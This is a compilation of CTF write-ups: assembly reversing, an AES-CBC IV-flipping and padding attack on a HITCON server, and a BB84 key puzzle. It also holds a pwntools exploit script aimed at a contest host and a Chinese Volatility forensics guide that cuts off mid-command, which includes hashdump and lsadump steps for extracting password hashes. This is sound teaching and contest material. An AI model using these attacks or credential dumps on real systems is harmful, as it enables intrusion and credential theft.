# asm2 Reverse Engineering, 250 points ## Description: > What does asm2(0xc,0x15) return? Submit the flag as a hexadecimal value (starting with '0x'). ```assembly asm2: <+0>: push ebp <+1>: mov ebp,esp <+3>: sub esp,0x10 <+6>: mov eax,DWORD PTR [ebp+0xc] <+9>: mov DWORD PTR [ebp-0x4],eax <+12>: mov eax,DWORD PTR [ebp+0x8] <+15>: mov DWORD PTR [ebp-0x8],eax <+18>: jmp 0x50c <asm2+31> <+20>: add DWORD PTR [ebp-0x4],0x1 <+24>: add DWORD PTR [ebp-0x8],0xaf <+31>: cmp DWORD PTR [ebp-0x8],0xa3d3 <+38>: jle 0x501 <asm2+20> <+40>: mov eax,DWORD PTR [ebp-0x4] <+43>: leave <+44>: ret ``` ## Solution: This is how the stack looks after performing the `mov ebp,esp` command: ``` +---------+ | old ebp | <-- ebp +---------+ | ret | <-- ebp + 0x4 +---------+ | 0xc | <-- ebp + 0x8 +---------+ | 0x15 | <-- ebp + 0xc +---------+ ``` What happens later is: ```assembly <+0>: push ebp <+1>: mov ebp,esp <+3>: sub esp,0x10 ``` The stack becomes: ``` +---------+ | | <-- ebp - 0x10 (local3) +---------+ | | <-- ebp - 0xc (local2) +---------+ | | <-- ebp - 0x8 (local1) +---------+ | | <-- ebp - 0x4 (local0) +---------+ | old ebp | <-- ebp +---------+ | ret | <-- ebp + 0x4 +---------+ | 0xc | <-- ebp + 0x8 +---------+ | 0x15 | <-- ebp + 0xc +---------+ ``` ```assembly <+6>: mov eax,DWORD PTR [ebp+0xc] ; eax = 0x15 <+9>: mov DWORD PTR [ebp-0x4],eax ; local0 = 0x15 <+12>: mov eax,DWORD PTR [ebp+0x8] ; eax = 0xc <+15>: mov DWORD PTR [ebp-0x8],eax ; local1 = 0xc <+18>: jmp 0x50c <asm2+31> ``` The stack: ``` +---------+ | | <-- ebp - 0x10 (local3) +---------+ | | <-- ebp - 0xc (local2) +---------+ | 0xc | <-- ebp - 0x8 (local1) +---------+ | 0x15 | <-- ebp - 0x4 (local0) +---------+ | old ebp | <-- ebp +---------+ | ret | <-- ebp + 0x4 +---------+ | 0xc | <-- ebp + 0x8 +---------+ | 0x15 | <-- ebp + 0xc +---------+ ``` ```assembly <+20>: add DWORD PTR [ebp-0x4],0x1 ; local0 = 0x16 <+24>: add DWORD PTR [ebp-0x8],0xaf ; local1 = 0xbb <+31>: cmp DWORD PTR [ebp-0x8],0xa3d3 ; Compare 0xbb to 0xa3d3 <+38>: jle 0x501 <asm2+20> ; Jump is taken (since 0xbb < 0xa3d3) ``` ``` +---------+ | | <-- ebp - 0x10 +---------+ | | <-- ebp - 0xc +---------+ | 0xbb | <-- ebp - 0x8 +---------+ | 0x16 | <-- ebp - 0x4 +---------+ | old ebp | <-- ebp +---------+ | ret | <-- ebp + 0x4 +---------+ | 0xc | <-- ebp + 0x8 +---------+ | 0x15 | <-- ebp + 0xc +---------+ ``` We run in a loop until local1 > 0xa3d3 (this takes 240 iterations). This means that we add `1` to `0x15` 240 times, bringing the value of `ebp - 0x4` to `0x105`. Then: ```assembly <+40>: mov eax,DWORD PTR [ebp-0x4] ; eax = 0x105 <+43>: leave <+44>: ret ``` The function returns with a return value of `0x105`.
sec-knowleage
# Secret server (Crypto, 221p) ``` AES is unbreakable. Right? nc 52.193.157.19 9999 ``` In the task we get the [sever sources](secretserver.py) to work with. It's rather short and pretty simple to understand. 1. The application asks us to solve a simple PoW 2. Application sends to us AES-CBC encrypted message `Welcome!!` with appropriate padding. 3. Application reads commands from us, decrypts them and if the command is correct it gets executed and we get back encrypted results. Worth noting: 1. IV is appended as the first block of the ciphertext! 2. The commands are first stripped and then only startswith is checked, so it doesn't matter if we have some more characters as long as prefix fits. 3. `unpad` does not check the padding at all, it just cut designated number of bytes, can be multiple whole blocks. The fact that we can control the IV is very useful because it means we can modify the IV by XOR to enforce any decryption of the first block. This is due to the way CBC mode it works -> after decrypting i-th block, the block is XORed with ciphertext of block i-1 (or with IV if it's the first block). If we know what was the previous plaintext we can simply XOR k-th byte of IV with k-th byte of previous plaintext to "zero" the resulting byte, and XOR one more time with expected value to make AES-CBC get this expected byte at k-th position after decrypting. We can easily use this feature to "change" the `Welcome!!` message into one of the available commands, in our case into `get-flag`, since we know the whole plaintext. This gives us the ciphertext with flag from the server. Next step is noticing that the flag prefix is `hitcon{` which means we know part of the plaintext for first block! In fact we know enough of the plaintext to turn this block into a command again! The easiest one to use was again `get-flag`. Notice that we are one character short here, we can easily turn `hitcon{` into `get-fla` but we don't know what XOR we need to get the next character to become `g` since we don't know the first character of the plaintext flag. But we can simply brute-force it, it's only 255 possibilities and only one of the will actually work and server will return the encrypted flag (and we already have this ciphertext so we can compare the output with it). So we do something like: ```python for i in range(255): iv[7] = ord(iv[7]) ^ ord('g') ^ i if command_ok(iv): print(chr(i)) break ``` And we manage to recover the first byte of the flag -> `P` Since the server does `.strip()` on our commands we can use the same technique now to get second byte of the flag, by preparing a new command with a space at the beginning. So we change `hitcon{P` into ` get-fla` and again perform the same brute-force to get another character. This approach works until we hit the end of the first block. We can't push it any further because the second block is XORed with ciphertext of the first block, and we can't modify it without causing this block to decrypt badly. But we figured that there is still the `unpad` issue here. If we could force the last byte of the payload we send to be some arbitrary large value, it would cut the plaintext up to a character we want. This would be very useful since we can use command like `get-md5` to calculate md5 of the rest of the plaintext. If we could: 1. Change first block to a bunch of spaces and `get-md5` at the end of the block, with one character available at the end of the block. Force the padding to cut all other plaintext blocks. Then get all possible encrypted md5 sums for every possible value of this single character. 2. Change first block to a bunch of spaces and `get-md5` at the very end of the block, and force the paddin to cut all of the plaintext from other blocks leaving only a single character in the second block. What happens we basically get: `get-md5X` where `X` is the first byte of the flag second block, and `get-md51`, `get-md52`, `get-md53`... And we can simply compare the results to find the real value for `X`. We can then cut one of the spaces in from of `get-md5` and extract another byte the same way. It works until we run out of spaces to cut, but it's already enough to extract prefix of the next block plaintext, which basically gets us to the same point as we were at the very beginning with `hitcon{` prefix, so we can shift blocks to the left (first block of flag becomes IV) and perform the whole thing again! The last problem is how can we force the `unpad` to cut as many characters from plaintext as we want. The trick here is to notice that we can simply append blocks at the end! Specifically we can append our good old `Welcome!!` message with the IV (so 2 blocks). We know that this message has a standard padding applied, so we know the last byte of plaintext. We can easily XOR last byte of the IV we're attaching at the end, to force the very last of the whole plaintext to be anything we want. Of course this IV block we just glued will decrypt into some random bytes, but we don't care since we will cut it anyway. This means we can cut the plaintext now at any position we want, and it's enough to run the attack described above. It takes a while since we need to test any potential printable character for every byte in the flag but in the end we get: `hitcon{Paddin9_15_ve3y_h4rd__!!}` The whole attack code is [here](attack.py)
sec-knowleage
# Chinese Satellite (crypto 200) ## ENG [PL](#pl-version) This task was very strange. The author clearily didn't understand quantum key exchange at all, and in this particular case knowing how this should work was making the task harder to solve... In the task we get some intercepted quantum transfers [sat->ground](q_transmission_1), [ground->sat](q_transmission_2), [sat->ground](q_transmission_3) and a ciphertext in public channel: `269118188444e7af980a245aedce5fb2811b560ccfc5db8e41f102a23f8d595ffde84cb1b3f7af8efd7a919bd2a7e6d3` In general quantum key exchange is quite simple: 1. Alice sends set of random bits encoded in one of two bases (let's call them X and Y) 2. Bob receives the qbits and randomly selects which base to use to measure value (since he can't know which base Alice used for each of qbits). Statistically he will get about half of the bases right. 3. Bob sends to Alice information which bases he used for each of the qbits. 4. Alice compares the list from Bob with the bases she actually used and sends to Bob information which bases he got right. In case Bob used the right base he knows the bit value Alice wanted to send. Those agreed bits are then normally used as some symmetric key for the communication. We have our 3 transmissions, and they are exactly what described above: 1. First one is the whole dump of initial qbits sent by Alice. We have two bases -> straight (`-` or `|`) and cross (`/` or `\`). 2. Second one is bases Bob used - straight `+` or cross `x`. 3. Last one is the list of bits Bob got right marked as `v`. So we can simply read values sent by Alice in 1st transmission for which there is `v` in last tramissions and we will get the qbits that they got right. We don't really know if `\` is 0 or 1 and if `|` is 0 or 1, but this is simple enough, we can just test all 4 options. ```python def get_agreed_bytes(data_sent, bases_measured, bases_correct, v1, v2): agreed_bits = [] for i in range(len(bases_correct)): if bases_correct[i] == 'v': if bases_measured[i] == '+': if data_sent[i] == '-': agreed_bits.append(v1) else: agreed_bits.append(abs(v1 - 1)) else: if data_sent[i] == '/': agreed_bits.append(v2) else: agreed_bits.append((abs(v2 - 1))) return hex(int("".join([str(c) for c in agreed_bits]), 2))[2:-1] ``` Now it was strange, because we get some bits and we don't know how to use them as encryption key to recover the flag. Fortunately we noticed that byte values seem in printable range and I printed out the agreed bytes and one of the options was: `iv:281e6bfc14a9aad39845f29b30ef1334,key:b340fe5025b06657034822b340ceb9d4,algo:aes_cbc` Which makes little sens in terms of crypto channel key exchange, because Alice can't know which bits Bob will get, but whatever... So we have all we need -> algo and parameters and we can just decrypt the flag: `h4ck1t{tr4nsmi55i0n_0v3r_bb84_l00ks_s3cur3_0k}` Complete solver [here](quantum.py) ## PL version To było dość dziwne zadanie. Autor ewidentnie nie rozumie o co chodzi w kwantowej wymianie klucza i paradoksalnie w tym zadaniu znajomość tego zagadnienia tylko utrudniała rozwiązanie zadania... W zadaniu dostajemy kilka przechwyconych kwantowych transmisji [sat->ground](q_transmission_1), [ground->sat](q_transmission_2), [sat->ground](q_transmission_3) i szyfrogram w publicznym kanale: `269118188444e7af980a245aedce5fb2811b560ccfc5db8e41f102a23f8d595ffde84cb1b3f7af8efd7a919bd2a7e6d3` Generalnie kwantowa wymiana klucza jest dość prosta: 1. Alice wysyła do Boba losowe bity kodowane w jednej z dwóch baz (nazwijmy je X i Y) 2. Bob odbiera qbity i wybiera losowo w jakiej bazie odczytać wartość (ponieważ nie wie w jakiej bazie wartość została zakodowana przez Alice). Statystycznie powinien odczytać około połowy poprawnie. 3. Bob wysyła do Alice informacje których baz użył dla każdego z qbitów. 4. Alice porównuje listę od Boba ze swoją listą z bazami których użyła i wysyła do Boba informacje, które bazy wybrał poprawnie. Jeśli Bob użył dobrej bazy dla danego bitu to zna wartość którą Alice chciała wysłać. Bity, które się zgodziły są zwykle używane do generacji klucza dla kryptografii symetrycznej. Mamy 3 tranmisje danych i są dokładnie tym co opisane wyżej: 1. Pierwsza to zrzut qitów które Alice wysłała. Mamy tam dwie bazy -> prostą (`-` i `|`) oraz skośną (`/` i `\`). 2. Druga to lista baz których użył Bob - prosta `+` lub skośna `x`. 3. Ostatnia to lista bitów które Bob odczytał dobrze, oznaczonych przez `v`. Możemy więc po prostu odczytać wartości które Alice wysłała w 1 transmisji, dla których w trzeciej transmisji mamy `v` i w ten sposób poznamy listę qbitów które się zgodziły. Nie wiemy co prawda czy `\` to 1 czy 0 oraz czy `|` to 1 czy 0, ale możemy przetestować wszystkie 4 opcje. ```python def get_agreed_bytes(data_sent, bases_measured, bases_correct, v1, v2): agreed_bits = [] for i in range(len(bases_correct)): if bases_correct[i] == 'v': if bases_measured[i] == '+': if data_sent[i] == '-': agreed_bits.append(v1) else: agreed_bits.append(abs(v1 - 1)) else: if data_sent[i] == '/': agreed_bits.append(v2) else: agreed_bits.append((abs(v2 - 1))) return hex(int("".join([str(c) for c in agreed_bits]), 2))[2:-1] ``` Teraz następuje dość dziwny krok, bo mamy zgodne bity, ale nie wiemy co dalej z nimi zrobić żeby odzyskać flagę. Szczęślwie zauważyliśmy, że wartości bajtów wyglądają na drukowalne ascii więc wypisaliśmy sobie uzyskane możliwości i dostaliśmy dla jednego z nich: `iv:281e6bfc14a9aad39845f29b30ef1334,key:b340fe5025b06657034822b340ceb9d4,algo:aes_cbc` Co zupełnie nie ma sensu z punktu widzenia kwantowej wymiany klucza, bo Alice nie mogła wiedzieć które bity Bob odzyta poprawnie, no ale co tam... Mamy podany algorytm i prametry więc odszyfrowujemy flagę: `h4ck1t{tr4nsmi55i0n_0v3r_bb84_l00ks_s3cur3_0k}` Cały solver [tutaj](quantum.py)
sec-knowleage
#!/usr/bin/env python2 # -*- coding: utf-8 -*- # This exploit template was generated via: # $ pwn template --host 54.93.40.66 --port 1337 try: from pwn import * except ImportError: from pwnwin import * import time # Many built-in settings can be controlled on the command-line and show up # in "args". For example, to dump all data sent/received, and disable ASLR # for all created processes... # ./exploit.py DEBUG NOASLR # ./exploit.py GDB HOST=example.com PORT=4141 host = args.HOST or '54.93.40.66' port = int(args.PORT or 1337) exe = r"E:\CTFs\arkcon\Zifzifer\Zifzifer.exe" def local(): return process(exe) def remote(): '''Connect to the process on the remote host''' io = connect(host, port) return io def start(): '''Start the exploit against the target.''' if args.LOCAL: return local() else: return remote() #=========================================================== # EXPLOIT GOES HERE #=========================================================== #context.log_level = "DEBUG" def create_user(username, password): log.info("Creating user '{}' with password '{}'".format(username, password)) io.sendline("c {} {}".format(username, password)) def create_users_batch(num_users): password = "pass" log.info("Creating {} users with password '{}'".format(num_users, password)) io.send(''.join(['c u{0:>04} {1}\r\n'.format(i, password) for i in range(num_users)])) def login(username, password): log.info("Logging in with user '{}' and password '{}'".format(username, password)) io.sendline("e {} {}".format(username, password)) def follow(username): log.info("Following user {}".format(username)) io.sendline("f {}".format(username)) def list_zifzufs(list_own = True, list_others = False): log.info("Listing Zifzufs, List own: {}, List others: {}".format(list_own, list_others)) triggers = "" if list_others: triggers += "a" if list_own: triggers += "i" io.sendline("a {}".format(triggers)) io = start() num_users = 4044 # The server kills the connection if interaction takes too long. # Instead of creating the users one by one, we batch-create them. #for i in range(num_users): # create_user("u{0:>04}".format(i), "pass") create_users_batch(num_users) login('alex', '1234') follow('u4043') login('charlie', '3456') list_zifzufs(True, True) #io.recvuntil("ArkCon") io.recvuntil("zifzufs by admin") print io.recvuntil("zifzufs by") #print io.recvline()
sec-knowleage
# Volatility <p align="center"> <img src="../../../assets/img/logo/volatility.png" width="20%"> </p> > 文章作者 [r0fus0d](https://github.com/No-Github) & [Lorna Dane](https://github.com/tonyscy) --- ## 免责声明 `本文档仅供学习和研究使用,请勿使用文中的技术源码用于非法用途,任何人造成的任何负面影响,与本人无关.` --- **简介** Volatility 是一个用于事件响应和恶意软件分析的开源内存取证框架。它是用 Python 编写的,支持 Microsoft Windows,macOS 和 Linux,volatility 框架是一个完全开放的工具集合,在 GNU 通用许可证下用 Python 实现,用于从易失性存储器(RAM)样本中提取数字镜像。提取技术完全独立于被取证的系统而执行,但可以查看到系统运行时的状态信息。该框架旨在向人们介绍从内存样本中提取的数字镜像相关的技术,并为进一步研究该领域提供一个平台,它可以分析 .raw、.vmem、.img 后缀的文件。 支持原始数据转储(Raw Dump)、崩溃转储(Crash Dump)、休眠文件及各种其它格式,甚至可以支持多个格式之间的转换。 **官网** - [The Volatility Foundation](https://www.volatilityfoundation.org/) **项目地址** - [Volatility](https://github.com/volatilityfoundation/volatility) - [volatilityfoundation/volatility3](https://github.com/volatilityfoundation/volatility3) - Volatility 3.0 development **相关文章** - [CTF| 攻击取证之内存分析](https://cloud.tencent.com/developer/article/1419462) - [电子取证(Forensics)-Windows取证基础](https://bbs.ichunqiu.com/thread-59102-1-1.html) - [Linux下内存取证工具Volatility的使用](http://blog.md5.red/?p=553) - [Volatility 为Centos6.6系统做profile方法](https://blog.csdn.net/LOVE_JFJ/article/details/51984362) - [Linux Memory Analysis: How to Start and What You Need to Know](https://www.linkedin.com/pulse/linux-memory-analysis-how-start-what-you-need-know-james-bower) - [LinuxMemoryForensics.wiki](https://code.google.com/archive/p/volatility/wikis/LinuxMemoryForensics.wiki) - [利用Volatility进行Windows内存取证分析(一):初体验](https://www.freebuf.com/sectool/124690.html) - [利用Volatility进行Windows内存取证分析(二):内核对象、内核池学习小记](https://www.freebuf.com/sectool/124800.html) - [内存取证原理学习及Volatility - 篇一](https://lzwgiter.github.io/%E5%86%85%E5%AD%98%E5%8F%96%E8%AF%81%E5%8E%9F%E7%90%86%E5%AD%A6%E4%B9%A0%E5%8F%8AVolatility-%E7%AF%87%E4%B8%80/) **视频教程** - [Investigating Malware Using Memory Forensics - A Practical Approach](https://www.youtube.com/watch?v=BMFCdAGxVN4) **Profile 资源** - [KDPryor/LinuxVolProfiles](https://github.com/KDPryor/LinuxVolProfiles) - Volatility Linux Profiles - [volatilityfoundation/profiles](https://github.com/volatilityfoundation/profiles) - Volatility profiles for Linux and Mac OS X --- ## 安装及维护 **利用 f8x 进行安装** ``` wget -O f8x https://f8x.io/ bash f8x -vol ``` **Ubuntu 下安装** ```bash apt-get install -y volatility apt-get install -y python-dev apt-get install -y python3-dev python2 -m pip install distorm3 yara pycrypto openpyxl ujson pil python2 -m pip install Crypto python2 -m pip install pycryptodome python2 -m pip install pytz python2 -m pip install Pillow python2 -m pip install yara-python cd /tmp git clone https://github.com/gdabah/distorm cd distorm python2 -m pip install distorm3 volatility --info ``` **kali 下安装** ```bash cd /tmp wget https://bootstrap.pypa.io/get-pip.py python2 get-pip.py python2 -m pip install --upgrade pip apt-get install -y python-dev apt-get install -y python3-dev python2 -m pip install distorm3 yara pycrypto openpyxl ujson pil python2 -m pip install Crypto python2 -m pip install pycryptodome python2 -m pip install pytz python2 -m pip install Pillow python2 -m pip install yara-python cd /tmp git clone https://github.com/gdabah/distorm cd distorm python2 -m pip install distorm3 cd git clone https://github.com/volatilityfoundation/volatility.git cd volatility python setup.py build python setup.py install python vol.py --info ``` **centos 下安装** ```bash yum install -y kernel-devel yum install -y make gcc gcc-c++ yum groupinstall -y "Development Tools" yum install -y yum-utils yum install -y pcre-devel libpcre++-devel python-devel pycrypto pip install --upgrade pip python2 -m pip install distorm3==3.4.4 python2 -m pip install yara pycrypto openpyxl ujson pil python2 -m pip install Crypto python2 -m pip install pycryptodome python2 -m pip install pytz python2 -m pip install Pillow python2 -m pip install yara-python cd git clone https://github.com/volatilityfoundation/volatility.git cd volatility python setup.py build python setup.py install python vol.py --info ``` **windows 下安装** 直接访问官网下载二进制文件 https://www.volatilityfoundation.org/releases --- ## 使用 **基本用法** ```bash volatility -f [image] --profile=[profile] [plugin] eg:volatility -f /opt/test.vmem -profile=Win7SP1x86 pslist -h # 查看相关参数及帮助说明 -info # 查看相关模块名称及支持的 Windows 版本 -f # 指定要打开的内存镜像文件及路径 -d # 开启调试模式 -v # 开启显示详细信息模式 (verbose) # 如果是从 github 下载的 python vol.py -f [image] ‐-profile=[profile] [plugin] ``` **Volatility 支持的插件列表** ```bash amcache # 查看 AmCache 应用程序痕迹信息 apihooks # 检测内核及进程的内存空间中的 API hook atoms # 列出会话及窗口站 atom 表 atomscan # Atom 表的池扫描(Pool scanner) auditpol # 列出注册表 HKLM\SECURITY\Policy\PolAdtEv 的审计策略信息 bigpools # 使用 BigPagePoolScanner 转储大分页池(big page pools) bioskbd # 从实时模式内存中读取键盘缓冲数据(早期电脑可以读取出 BIOS 开机密码) cachedump # 获取内存中缓存的域帐号的密码哈希 callbacks # 打印全系统通知例程 clipboard # 提取 Windows 剪贴板中的内容 cmdline # 显示进程命令行参数 cmdscan # 提取执行的命令行历史记录(扫描_COMMAND_HISTORY 信息) connections # 打印系统打开的网络连接(仅支持 Windows XP 和 2003) connscan # 打印 TCP 连接信息 consoles # 提取执行的命令行历史记录(扫描_CONSOLE_INFORMATION 信息) crashinfo # 提取崩溃转储信息 deskscan # tagDESKTOP 池扫描(Poolscaner) devicetree # 显示设备树信息 dlldump # 从进程地址空间转储动态链接库 dlllist # 打印每个进程加载的动态链接库列表 driverirp # IRP hook 驱动检测 drivermodule # 关联驱动对象至内核模块 driverscan # 驱动对象池扫描 dumpcerts # 提取 RAS 私钥及 SSL 公钥 dumpfiles # 提取内存中映射或缓存的文件 dumpregistry # 转储内存中注册表信息至磁盘 editbox # 查看 Edit 编辑控件信息 (Listbox 正在实验中) envars # 显示进程的环境变量 eventhooks # 打印 Windows 事件 hook 详细信息 evtlogs # 提取 Windows 事件日志(仅支持 XP/2003) filescan # 提取文件对象(file objects)池信息 gahti # 转储用户句柄(handle)类型信息 gditimers # 打印已安装的 GDI 计时器 (timers) 及回调(callbacks) gdt # 显示全局描述符表(Global Descriptor Table) getservicesids # 获取注册表中的服务名称并返回 SID 信息 getsids # 打印每个进程的 SID 信息 handles # 打印每个进程打开的句柄的列表 hashdump # 转储内存中的 Windows 帐户密码哈希(LM/NTLM) hibinfo # 转储休眠文件信息 hivedump # 打印注册表配置单元信息 hivelist # 打印注册表配置单元列表 hivescan # 注册表配置单元池扫描 hpakextract # 从 HPAK 文件(Fast Dump 格式)提取物理内存数据 hpakinfo # 查看 HPAK 文件属性及相关信息 idt # 显示中断描述符表(Interrupt Descriptor Table) iehistory # 重建 IE 缓存及访问历史记录 imagecopy # 将物理地址空间导出原生 DD 镜像文件 imageinfo # 查看 / 识别镜像信息 impscan # 扫描对导入函数的调用 joblinks # 打印进程任务链接信息 kdbgscan # 搜索和转储潜在 KDBG 值 kpcrscan # 搜索和转储潜在 KPCR 值 ldrmodules # 检测未链接的动态链接 DLL lsadump # 从注册表中提取 LSA 密钥信息(已解密) machoinfo # 转储 Mach-O 文件格式信息 malfind # 查找隐藏的和插入的代码 mbrparser # 扫描并解析潜在的主引导记录(MBR) memdump # 转储进程的可寻址内存 memmap # 打印内存映射 messagehooks # 桌面和窗口消息钩子的线程列表 mftparser # 扫描并解析潜在的 MFT 条目 moddump # 转储内核驱动程序到可执行文件的示例 modscan # 内核模块池扫描 modules # 打印加载模块的列表 multiscan # 批量扫描各种对象 mutantscan # 对互斥对象池扫描 notepad # 查看记事本当前显示的文本 objtypescan # 扫描窗口对象类型对象 patcher # 基于页面扫描的补丁程序内存 poolpeek # 可配置的池扫描器插件 printkey # 打印注册表项及其子项和值 privs # 显示进程权限 procdump # 进程转储到一个可执行文件示例 pslist # 按照 EPROCESS 列表打印所有正在运行的进程 psscan # 进程对象池扫描 pstree # 以树型方式打印进程列表 psxview # 查找带有隐藏进程的所有进程列表 qemuinfo # 转储 Qemu 信息 raw2dmp # 将物理内存原生数据转换为 windbg 崩溃转储格式 screenshot # 基于 GDI Windows 的虚拟屏幕截图保存 servicediff # Windows 服务列表(ala Plugx) sessions # _MM_SESSION_SPACE 的详细信息列表(用户登录会话) shellbags # 打印 Shellbags 信息 shimcache # 解析应用程序兼容性 Shim 缓存注册表项 shutdowntime # 从内存中的注册表信息获取机器关机时间 sockets # 打印已打开套接字列表 sockscan # TCP 套接字对象池扫描 ssdt # 显示 SSDT 条目 strings # 物理到虚拟地址的偏移匹配(需要一些时间,带详细信息) svcscan # indows 服务列表扫描 symlinkscan # 符号链接对象池扫描 thrdscan # 线程对象池扫描 threads # 调查_ETHREAD 和_KTHREADs timeliner # 创建内存中的各种痕迹信息的时间线 timers # 打印内核计时器及关联模块的 DPC truecryptmaster # 恢复 TrueCrypt 7.1a 主密钥 truecryptpassphrase # 查找并提取 TrueCrypt 密码 truecryptsummary # TrueCrypt 摘要信息 unloadedmodules # 打印卸载的模块信息列表 userassist # 打印注册表中 UserAssist 相关信息 userhandles # 转储用户句柄表 vaddump # 转储 VAD 数据为文件 vadinfo # 转储 VAD 信息 vadtree # 以树形方式显示 VAD 树信息 vadwalk # 显示遍历 VAD 树 vboxinfo # 转储 Virtualbox 信息(虚拟机) verinfo # 打印 PE 镜像中的版本信息 vmwareinfo # 转储 VMware VMSS/VMSN 信息 volshell # 内存镜像中的 shell windows # 打印桌面窗口(详细信息) wintree # Z 顺序打印桌面窗口树 wndscan # 池扫描窗口站 yarascan # 以 Yara 签名扫描进程或内核内存 ``` **Linux 内存取证插件参数** ```bash # 获取系统进程信息相关命令 linux_pstree # 进程树列表 linux_pslist_cache # 来自的 kmem_cache 活动进程 linux_psxview # 比较进程列表 linux_lsof # 打开文件描述符的每个活动进程 linux_pslist # 活动的进程列表 linux_psaux # 活动的进程列表(输出内容包括更多的细节) # 获取系统内存信息的相关命令 linux_memmap # 内存映射文件 linux_pidhashtable # Linux 内核中的 PID 散列表 linux_proc_maps # 转储由-s/-vma 参数到磁盘上指定的内存范围。 linux_dump_map # 进程内存的详细信息,包括堆和共享库。 linux_bash # bash 历史文件 # 获取网络接口信息的相关命令 linux_arp # 显示 arp 列表 linux_ifconfig # 显示网络接口详细情况 linux_route_cache # 显示网络路由表 linux_netstat # 查看网络链接情况 # 获取系统硬件信息的相关命令 linux_cpuinfo # 显示 cpu 的相关命令信息。 linux_dmesg # 显示内核缓存信息。 linux_iomem # 显示 io 设备信息。 linux_mount # 显示/proc/mouns 的相关命令信息,主要是挂载的磁盘设备。 linux_mount_cache # 显示 kmem_cache 的相关命令信息。 linux_slabinfo # 显示/proc/slabinfo 的相关命令信息。 # rootkit 检测的相关命令 linux_check_afinfo # 检查篡改网络协议结构。 linux_check_creds # 检查进程共享结构。 linux_check_fop # 检查文件操作数据结构篡改情况。 linux_check_idt # 检查中断描述符表(IDT)的篡改情况。 linux_check_syscall # 在系统调用表检查功能情况。 linux_check_modules # 检查用于从内核模块列表中缺少在 sysfs 中的项目。 # 获取内核模块信息的相关命令 linux_lsmod # 加载内核模块。 linux_tmpfs # tmpfs 的内容。 ``` **获取镜像信息** 首先获取镜像的摘要信息,一般这是进行镜像分析的第一步 ```bash volatility -f [image] imageinfo ``` 这其中比较有用的信息就是 Suggested Profile(s) ,这个是工具识别的系统版本,存在多个的原因是这是根据一些特征识别的,所以可能有误报,就把各种结果按照可能性排列出来了,一般直接选择第一个,如果加载插件报错的话,可以尝试后面的。 这里根据给出的结果选择第一个,然后使用 pslist 插件,看一下系统中运行的进程。 ### 进程 **按照 EPROCESS 列表列出所有正在运行的进程** ```bash volatility -f [image] --profile=[profile] pslist ``` 如图中 lsass.exe、winlogon.exe ,在 windows 本地登录时,用户的密码存储在 `%SystemRoot%\system32\config\SAM` 这个文件里。当用户输入密码进行本地认证的过程中,所有的操作都是在本地进行的。他其实就是将用户输入的密码转换为 NTLM Hash,然后与 SAM 中的 NTLM Hash 进行比较。当用户注销、重启、锁屏后,操作系统会让 winlogon 显示登录界面,也就是输入框。当 winlogon.exe 接收输入后,将密码交给 lsass 进程,这个进程中会存一份明文密码,将明文密码加密成 NTLM Hash,对 SAM 数据库比较认证。 notepad.exe 是指正在运行一个记事本程序,而 mspaint.exe 是指是微软画图程序, cmd.exe 指正在运行命令行程序 **显示隐藏/终止的进程** ```bash volatility -f [image] --profile=[profile] psscan ``` **以 dot 图的形式导出** ```bash python vol.py -f [image] --profile=[profile] psscan --output=dot --output-file=out.dot apt install -y xdot ``` **把进程以树的形式显示** ```bash volatility -f [image] --profile=[profile] pstree ``` **查看 DLL 文件** 当我们发现可疑进程后,可通过此命令进行深度查看 ```bash volatility -f [image] --profile=[profile] dlllist -p [pid] ``` **转储出可寻址的内存数据** 在上面的进程中可以看到,存在一个 mspaint.exe 的进程,它是微软的画图软件,对于这样的情况,可以使用工具还原内存中的图片, 来当时查看的图片或者当时状态的图片,使用的工具是 gimp,可以在 linux 上安装使用。 这里首先将 mspaint.exe 的进程内存 dump 出来,使用 memdump 插件,在之前列举进程的截图中,进程名字后面一行就是该进程的 PID。 ```bash volatility -f [image] --profile=[profile] memdump -p [pid] --dump-dir ./ ``` 将获取到的 2276.dmp 文件改名为 2276.data,然后在 gime 中点击显示全部文件,选择 2276.data 打开 ```bash add-apt-repository ppa:otto-kesselgulasch/gimp apt-get update apt-get install -y gimp # 安装 gimp gimp # 启动 gimp mv 2276.dmp 2276.data ``` 首先选择一个固定的宽度,这里选择 1000,然后调节高度把屏幕铺满,然后再大幅度拖动 Image 下的 Offset 的滑块,当看到图片类似下图时停止,可以看到隐隐约约有一张图,但是有点重叠,这时,点击上下箭头缓慢调节 Width,其中 Heigth 在调节中作用是不大的,主要是 Width 和 Offset 的调节决定是否能看到图片 微调位移为图像的左右方向平移,大幅调节位移则是图像的上下方向平移。而宽度不变时,始终显示的都是同一幅图像。 在调节时,不仅仅只能看到画图程序的图片,如下图,就调出了另一个状态的一个系统图片 **获取运行过的命令** 在上面查看进程时,可以看到存在一个 cmd 进程,那么可以使用 cmdscan 插件来查看运行过的命令, ```bash volatility -f [image] --profile=[profile] cmdscan ``` 可以看到执行了 whoami、ifconfig、ipconfig 这三个命令 **查看进程命令行参数** ```bash volatility -f [image] --profile=[profile] cmdline ``` --- ### 信息 **获取记事本数据** ```bash volatility -f [image] --profile=[profile] notepad # 当上面这个插件不支持这个系统,这时可以使用 editbox 查看 volatility -f [image] --profile=[profile] editbox ``` **查看当前桌面截图** 可以使用 screenshot 查看查看当前桌面的伪截图,其中会显示桌面上窗口的框,不会显示其中的内容 ```bash volatility -f [image] --profile=[profile] screenshot --dump-dir ./ ``` **获取系统中的用户以及密码** ```bash volatility -f [image] --profile=[profile] hashdump ``` **dump 明文** ```hash volatility -f [image] --profile=[profile] lsadump ``` **注册表 dump 明文** ```bash volatility -f [image] --profile=[profile] hivelist volatility -f [image] --profile=[profile] hashdump -y [SYSTEM的地址] -s [SAM的地址] ``` **查看剪切版中的信息** ```bash volatility -f [image] --profile=[profile] clipboard ``` **扫一下 ie 浏览记录** ```bash volatility -f [image] --profile=[profile] yarascan ``` --- ### 文件 **查看系统中的文件** 通过 filescan 命令,可以扫描当前状态下的一些文件,例如桌面的文件,或者特定类型的文件,这些都是结合 grep 命令来实现的 ```bash volatility -f [image] --profile=[profile] filescan | grep -E "zip|txt|doc|pdf" ``` 查看桌面的文件 ```bash volatility -f [image] --profile=[profile] filescan | grep "Desktop" ``` **dump 扫描到的文件** 在上一步中,发现了桌面的一个 flag.txt,那么可以使用 dumpfiles 命令来将文件 dump 出来 ```bash volatility -f [image] --profile=[profile] dumpfiles -Q 0x000000007de00130 --dump-dir ./ # 这里的 -Q 参数是前面扫描时候的第一个参数,标记了文件的转储的物理地址 ``` dump 出的文件默认是 dat 后缀的,可以使用 linux 下的 file 命令来查看获取的文件类型,或者是根据之前扫描文件获取到的文件名来修改后缀 **转储内存中的进程里 exe 文件** ```bash volatility -f 